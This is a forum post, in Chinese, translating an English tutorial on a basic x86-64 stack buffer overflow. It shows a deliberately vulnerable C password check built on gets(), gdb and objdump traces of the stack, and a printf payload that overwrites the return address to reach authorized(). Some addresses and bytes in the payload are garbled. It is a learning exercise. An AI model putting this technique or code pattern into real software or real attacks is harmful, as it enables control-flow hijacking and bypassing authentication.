阅读:2965回复:0
做个试验:简单的缓冲区溢出
from:http://www.spectrumcoding.com/tutorials/exploits/2013/05/27/buffer-overflows.html
翻译的比较逗比,都是按照原文翻译的,加了少量润色。中间有卡住的地方或者作者表述不清楚的地方我都加了注,大家将就看吧=v=。 ◆0 背景 我不是一个专职做安全的人(注:作者是全栈攻城狮-v-),但是我最近读了点东西,觉得它很有意思。 我在http://wiki.osdev.org/Expanded_Main_Page上看到了这些,在我进行操作系统相关开发时,我读到了这些有关缓冲区溢出的文章。 因此我准备写一个有关于C程序缓冲区溢出的简短介绍。原因很简单,我学到了这些东西,同时我也想让大家练习练习。 我们今天准备分析一个需要正确输入某个密码才能通过验证的程序,验证通过后,程序会调用authorized()函数。 但是,假设我现在忘了这个密码或者不知道它,那我们就只好用缓冲区溢出的方式来调用authorized()函数了。 ◆1 细节 那么,干正事儿了。首先,你应该知道什么是栈了,如果不知道的话赶紧去http://wiki.osdev.org/Stack看看。简单来说它就是一个后进先出的结构,从高地址增长向低地址。我将通过下面的有问题的程序来解释一下这个问题。 #!cpp #include #include const char pass[] = "$1$k3Eadsf$blee.9JxQ75A/dSQSxW3v/"; /* Password */ void authorized() { printf( "You rascal you!n" ); } void getInput() { char buffer[8]; gets( buffer ); if ( strcmp( pass, crypt( buffer, "$1$k3Eadsf$" ) ) == 0 ) { authorized(); } } int main() { getInput(); return(0); } 代码很简单,用户输入一个密码,然后程序把它加密起来,并且和程序中存储的密码对比,如果成功了,就调用authorized()函数,你们就当这个authorized()函数是用来让用户在登录后干一些敏感操作的好了(虽然这个例子里面我们只打印了一串字符串)。那么,我们编译一下,看看结果。 #!bash cris@spectrumit-cris ~/D/p/overflow> gcc -ggdb -fno-stack-protector -z execstack overflow.c -lcrypt -o overflow overflow.c: In function 'getInput': overflow.c:12:2: warning: 'gets' is deprecated (declared at /usr/include/stdio.h:638) [-Wdeprecated-declarations] gets(buffer); ^ cris@spectrumit-cris ~/D/p/overflow> ./overflow password cris@spectrumit-cris ~/D/p/overflow> 程序分配8字节的缓冲区,然后把用户输入存储到这个缓冲区里面,然后调用函数把它加密,再和程序里的密码对比。 我们编译的时候会被编译器提示gets()不安全,事实上也是,因为它并没有做任何边界检查,所以我们就用它来调用漏洞了。 我们用objdump来dump一下生成的机器码,看看这儿它做了什么: #!bash cris@spectrumit-cris ~/D/p/overflow> objdump -d -M intel blog #!bash blog: file format elf64-x86-64 Disassembly of section .init ... Disassembly of section .plt: ... Disassembly of section .text: .... 00000000004006a0 : 4006a0: 55 push rbp 4006a1: 48 89 e5 mov rbp,rsp 4006a4: bf e2 07 40 00 mov edi,0x4007e2 4006a9: e8 a2 fe ff ff call 400550 4006ae: 5d pop rbp 4006af: c3 ret 00000000004006b0 : 4006b0: 55 push rbp 4006b1: 48 89 e5 mov rbp,rsp 4006b4: 48 83 ec 10 sub rsp,0x10 4006b8: 48 8d 45 f0 lea rax,[rbp-0x10] 4006bc: 48 89 c7 mov rdi,rax 4006bf: e8 dc fe ff ff call 4005a0 4006c4: 48 8d 45 f0 lea rax,[rbp-0x10] 4006c8: be f2 07 40 00 mov esi,0x4007f2 4006cd: 48 89 c7 mov rdi,rax 4006d0: e8 8b fe ff ff call 400560 4006d5: 48 89 c6 mov rsi,rax 4006d8: bf c0 07 40 00 mov edi,0x4007c0 4006dd: e8 9e fe ff ff call 400580 4006e2: 85 c0 test eax,eax 4006e4: 75 0a jne 4006f0 4006e6: b8 00 00 00 00 mov eax,◆ 4006eb: e8 b0 ff ff ff call 4006a0 4006f0: c9 leave 4006f1: c3 ret 00000000004006f2 : 4006f2: 55 push rbp 4006f3: 48 89 e5 mov rbp,rsp 4006f6: b8 00 00 00 00 mov eax,◆ 4006fb: e8 b0 ff ff ff call 4006b0 400700: b8 00 00 00 00 mov eax,◆ 400705: 5d pop rbp 400706: c3 ret 400707: 66 0f 1f 84 00 00 00 nop WORD PTR [rax+rax*1+◆] 40070e: 00 00 我只保留了我们感兴趣的部分,然后用intel语法格式化了一下反汇编数据。我们从main函数开始分析,因为这个对我们来说更有意义(总比从libc_start_main和其他啥地方开始好)。 #!bash 00000000004006f2 : 4006f2: 55 push rbp 4006f3: 48 89 e5 mov rbp,rsp 4006f6: b8 00 00 00 00 mov eax,◆ 4006fb: e8 b0 ff ff ff call 4006b0 400700: b8 00 00 00 00 mov eax,◆ 400705: 5d pop rbp 400706: c3 ret 400707: 66 0f 1f 84 00 00 00 nop WORD PTR [rax+rax*1+◆] 40070e: 00 00 看看,这儿发生啥了?首先,rbp寄存器被压到了栈上,之后会被rsp的内容替换。看看其他函数开头,我们也会发现类似的东西: #!bash 00000000004006a0 : 4006a0: 55 push rbp 4006a1: 48 89 e5 mov rbp,rsp ... 00000000004006b0 : 4006b0: 55 push rbp 4006b1: 48 89 e5 mov rbp,rsp ... 这叫函数初始化,当然函数最后也会有一个收尾工作。首先当前栈底指针(注:rbp)被压入栈上,然后栈底指针被设置为当前栈顶的地址(注:rsp)。 前一个栈底指针指向它之前一个栈帧的栈顶,栈内就这样一个个的连续不断的指下去。这样可以让程序出错的时候跟踪栈,因为栈底指针可以一路向下指向另一个栈帧的开头。 栈帧是一个函数调用在栈上使用的一片内存,它包含有参数(注:64位下如果系统决定用寄存器传参,那参数这东西也有可能没有)、返回地址和本地变量。我从wikipedia的文章里面偷来一张图,大家可以看看:http://en.wikipedia.org/wiki/Call_stack 图片:2014091811183284311.png 函数名虽然各不相同,但是状况是一样的,栈向下增长,所以一个函数的返回地址在相对于本地变量里更高的位置。我们回到之前的函数看看这对我们来说意味着啥。在函数初始化阶段之后,有一个mov eax,◆的语句,那之后会调用了我们的getInput()函数。 #!bash 00000000004006b0 : 4006b0: 55 push rbp 4006b1: 48 89 e5 mov rbp,rsp 4006b4: 48 83 ec 10 sub rsp,0x10 4006b8: 48 8d 45 f0 lea rax,[rbp-0x10] 4006bc: 48 89 c7 mov rdi,rax 4006bf: e8 dc fe ff ff call 4005a0 4006c4: 48 8d 45 f0 lea rax,[rbp-0x10] 4006c8: be f2 07 40 00 mov esi,0x4007f2 4006cd: 48 89 c7 mov rdi,rax 4006d0: e8 8b fe ff ff call 400560 4006d5: 48 89 c6 mov rsi,rax 4006d8: bf c0 07 40 00 mov edi,0x4007c0 4006dd: e8 9e fe ff ff call 400580 4006e2: 85 c0 test eax,eax 4006e4: 75 0a jne 4006f0 4006e6: b8 00 00 00 00 mov eax,◆ 4006eb: e8 b0 ff ff ff call 4006a0 4006f0: c9 leave 4006f1: c3 ret 我们能看到类似的函数初始化功能,然后在gets之前就是一些有意思的指令。再给你们看看代码: #!cpp void getInput() { char buffer[8]; gets(buffer); if(strcmp(pass, crypt(buffer, "$1$k3Eadsf$")) == 0) { authorized(); } } 栈上开扩出了一个16字节的地址(sub rsp, 0x10),之后rax设置为了栈顶地址。这是要作甚?我们的缓冲区只有8个字,但是空间却留了16个字节。 这是因为x86指令集流SIMD扩展要求必须要用16个字节对齐数据,所以里面还有8个字节纯粹是为了对齐用的,这样就把我们的空间偷偷摸摸的弄成了16个字节。 然后lea eax,[rbp - 0x10]和mov rdi, rax之后,rbp - 0x10(即:栈顶)指向的地址会读取到rdi,这个就是gets()待会儿要写入的对齐数据。可以感受一下,栈是向下增长的,但是缓存则是从栈顶(rbp - 0x10)到rbp这个范围。 那说了这么多我们到底要干啥呢?目标就是让authorized()函数跑起来。因此我们可以把当前函数的返回值直接改成auhtorized()的地址。 当call指令执行的时候,rip(指令寄存器)将会被压到栈上。这也就是为啥栈会在push rbp之后对齐到16字节的原因:返回地址只有8个字节长,rbp只好用另外8个字节来对齐了。让我们在gdb里面加载一下我们的程序,跟一下看看栈上发生了啥: #!bash cris@spectrumit-cris ~/D/p/overflow> gdb overflow GNU gdb (GDB) 7.6 Copyright (C) 2013 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "x86_64-unknown-linux-gnu". For bug reporting instructions, please see: ... Reading symbols from /home/cris/Documents/projects/overflow/overflow...done. (gdb) set disassembly-flavor intel (gdb) disas main Dump of assembler code for function main: ◆0000000004006f2 : push rbp ◆0000000004006f3 : mov rbp,rsp ◆0000000004006f6 : mov eax,◆ ◆0000000004006fb : call 0x4006b0 ◆000000000400700 : mov eax,◆ ◆000000000400705 : pop rbp ◆000000000400706 : ret End of assembler dump. 我们可以看到main()函数的反汇编代码如上,我们想在进入main()之后立马看到栈,所以我们在push rbp的地方设置一个断点,然后启动程序,dump一下栈: #!bash (gdb) b *◆0000000004006f2 Breakpoint 1 at 0x4006f2: file overflow.c, line 19. (gdb) start Temporary breakpoint 2 at 0x4006f6: file overflow.c, line 21. Starting program: /home/cris/Documents/projects/overflow/overflow Breakpoint 1, main () at overflow.c:19 19 int main() { (gdb) x/8gx $rsp 0x7fffffffe6f8: ◆0007ffff7818a15 ◆000000000000000 0x7fffffffe708: ◆0007fffffffe7d8 ◆000000100000000 0x7fffffffe718: ◆0000000004006f2 ◆000000000000000 0x7fffffffe728: 0xab4f0bd07ac4a669 ◆0000000004005b0 这样我们就能看到现在栈其实还没有对齐到16字节。我们刚刚执行了一下到main的调用,所以我们希望栈顶的值就是main的返回地址。我们可以反编译一下这个地方的代码来验证一下,我们看看__libc_start_main,我已经把输出数据里没用的都删了。 #!bash Dump of assembler code for function __libc_start_main: ... ◆0007ffff7818a0b : mov rdx,QWORD PTR [rax] ◆0007ffff7818a0e : mov rax,QWORD PTR [rsp+0x18] ◆0007ffff7818a13 : call rax ◆0007ffff7818a15 : mov edi,eax ◆0007ffff7818a17 : call 0x7ffff782ecd0 ... End of assembler dump. 地址◆0007ffff7818a15上是mov edi,eax,然后紧跟着一个调用exit()的指令。 eax包含有我们的退出代码,这个就是exit函数的返回代码。所以,我们已经确认了栈顶就是我们的main的返回地址,rbp在这个指针上时是null,所以在它之后压入栈内的两个QWORD是:◆000000000000000和◆0007fff7818a15。我们将步过(注:step over,直接执行下一条语句,不管是指令还是函数调用,都执行到它的后一行停下来),然后在getInput()里面下断点并且停下来: #!bash (gdb) disas getInput Dump of assembler code for function getInput: ◆0000000004006b0 : push rbp ◆0000000004006b1 : mov rbp,rsp ◆0000000004006b4 : sub rsp,0x10 ◆0000000004006b8 : lea rax,[rbp-0x10] ◆0000000004006bc : mov rdi,rax ◆0000000004006bf : call 0x4005a0 ◆0000000004006c4 : lea rax,[rbp-0x10] ◆0000000004006c8 : mov esi,0x4007f2 ◆0000000004006cd : mov rdi,rax ◆0000000004006d0 : call 0x400560 ◆0000000004006d5 : mov rsi,rax ◆0000000004006d8 : mov edi,0x4007c0 ◆0000000004006dd : call 0x400580 ◆0000000004006e2 : test eax,eax ◆0000000004006e4 : jne 0x4006f0 ◆0000000004006e6 : mov eax,◆ ◆0000000004006eb : call 0x4006a0 ◆0000000004006f0 : leave ◆0000000004006f1 : ret (gdb) b *◆0000000004006b1 Breakpoint 3 at 0x4006b1: file overflow.c, line 9 (gdb) c Continuing. Breakpoint 3 ◆0000000004006b1 in getInput () at overflow.c:9 9 void getInput() { (gdb) x/8gx $rsp 0x7fffffffe6e0: ◆0007fffffffe6f0 ◆000000000400700 0x7fffffffe6f0: ◆000000000000000 ◆0007ffff7818a15 0x7fffffffe700: ◆000000000000000 ◆0007fffffffe7d8 0x7fffffffe710: ◆000000100000000 ◆0000000004006f2 我已经解释过上面这些元素是啥了,我们可以验证一下◆000000000400700 就是ret的返回地址,getInput()再次返回main()里面。 #!bash ... ◆0000000004006fb : call 0x4006b0 ◆000000000400700 : mov eax,◆ ... 现在,接下来几个命令将在栈上扩展16字节,之前也说过了,然后调用我们的gets()函数。我们在gets()之后下个断点,然后继续执行: #!bash (gdb) b *◆0000000004006c4 Breakpoint 4 at 0x4006c4: file overflow.c, line 14. (gdb) c Continuing. aabbccdd Breakpoint 4, getInput () at overflow.c:14 14 if(strcmp(pass, crypt(buffer, "$1$k3Eadsf$")) == 0) { (gdb) x/8gx $rsp 0x7fffffffe6d0: 0x6464636362626161 ◆000000000400500 0x7fffffffe6e0: ◆0007fffffffe6f0 ◆000000000400700 0x7fffffffe6f0: ◆000000000000000 ◆0007ffff7818a15 0x7fffffffe700: ◆000000000000000 ◆0007fffffffe7d8 我输入了密码“aabbccdd”,这样我们看起来方便点。从gets()返回之后,因为我们使用了sub rsp,0x10,所以,栈上还有其他16个字节在之前这些数据的“下面”。因为这些被当作是缓冲区来用的,所以我们可以看到字节被存储为反的顺序(注:这句作者说的有点玄乎,我按原文翻译下来了,其实就是Little-Endian啦,看不懂作者说啥的看这里看这里:http://zh.wikipedia.org/wiki/%E5%AD%97%E8%8A%82%E5%BA%8F#.E5.B0.8F.E7.AB.AF.E5.BA.8F)。 0x61是小写字母a的ASCII码,0x62是b,以此类推。如果我们输入16个字节a的话,我们可以看到我们的数据“填充上”了栈区: #!bash (gdb) b *◆0000000004006c4 Breakpoint 4 at 0x4006c4: file overflow.c, line 14. (gdb) c Continuing. aaaaaaaaaaaaaaaa Breakpoint 4, getInput () at overflow.c:14 14 if(strcmp(pass, crypt(buffer, "$1$k3Eadsf$")) == 0) { (gdb) x/8gx $rsp 0x7fffffffe6d0: 0x6161616161616161 0x6161616161616161 0x7fffffffe6e0: ◆0007fffffffe6f0 ◆000000000400700 0x7fffffffe6f0: ◆000000000000000 ◆0007ffff7818a15 0x7fffffffe700: ◆000000000000000 ◆0007fffffffe7d8 因此,如果我们提供一个足够长的输入数据,我们就可以用authorize的地址来覆盖这个函数该返回的返回地址。反编译一下authorized()函数来获取一下我们所需要的地址: #!bash (gdb) disas authorized Dump of assembler code for function authorized: ◆0000000004006a0 : push rbp ◆0000000004006a1 : mov rbp,rsp ◆0000000004006a4 : mov edi,0x4007e2 ◆0000000004006a9 : call 0x400550 ◆0000000004006ae : pop rbp ◆0000000004006af : ret End of assembler dump. 现在我们所有要做的就是把getInput的返回地址覆盖为◆0000000004006a0,而且我们可以做到。我们可以在shell里用printf把数据传给程序,你可以用x来转意16进制数据,因为地址是倒着来的(注:小端),所以我们也倒着给它就好了。还有,我们需要用◆0来终止我们的缓存,这样strcmp就不会在我们函数返回之前引起一个段错误。printf的结果如下: #!bash printf "aaaaaaaaaaaaaaaaaaaaaaax00xa◆6x4◆◆◆◆◆0" | ./overflow 这有16个a,还有7个空字符(x00)来覆盖rbp,最后,我们用我们的目标地址覆盖了正常时的返回地址。如果我们运行它的话,程序将会触发漏洞,直接跑到authorized()里。尽管我们还没输啥对的密码。 #!bash cris@spectrumit-cris ~/D/p/overflow> printf "aaaaaaaaaaaaaaaaaaaaaaax00xa◆6x4◆◆◆◆◆0" | ./overflow You rascal you! fish: Process 9299, “./overflow” from job 1, “printf "aaaaaaaaaaaaaaaaaaaaaaax00xa◆6x4◆◆◆0 x0◆0" | ./overflow” terminated by signal SIGSEGV (Address boundary error) 我们的程序会有段错误,因为栈上指向__libc_start_main的返回地址没有对齐(main开头的push rbp一直没pop),但是我们还是可以看到它打印了“You rascal you!”,所以我们可以知道authorized()函数事实上已经执行成功了。 ◆2 总结 这就是啦!一个简单的缓冲区溢出,如果你知道这是怎么发生的话,你会觉得这个太牛逼太好玩了,只要栈上数据仍然可执行,你就可以把代码扔到栈上的一个缓冲区里面,比如这样,然后把返回地址指向缓冲区,这样就能用该进程的权限执行你自个儿的代码了。这已经不可能了(注:作者估计是指一些较新的系统已经禁止栈上数据的执行权限了),但是还是可以修改函数的返回地址,这还是同样给力。 一些其他给想要学习的人的连接(英文,作者给的): http://insecure.org/stf/smashstack.html http://www.eecis.udel.edu/~bmiller/cis459/2007s/readings/buff-overflow.html https://developer.apple.com/library/mac/#documentation/security/conceptual/SecureCodingGuide/Articles/BufferOverflows.html http://www.ibm.com/developerworks/library/l-sp4/index.html |
|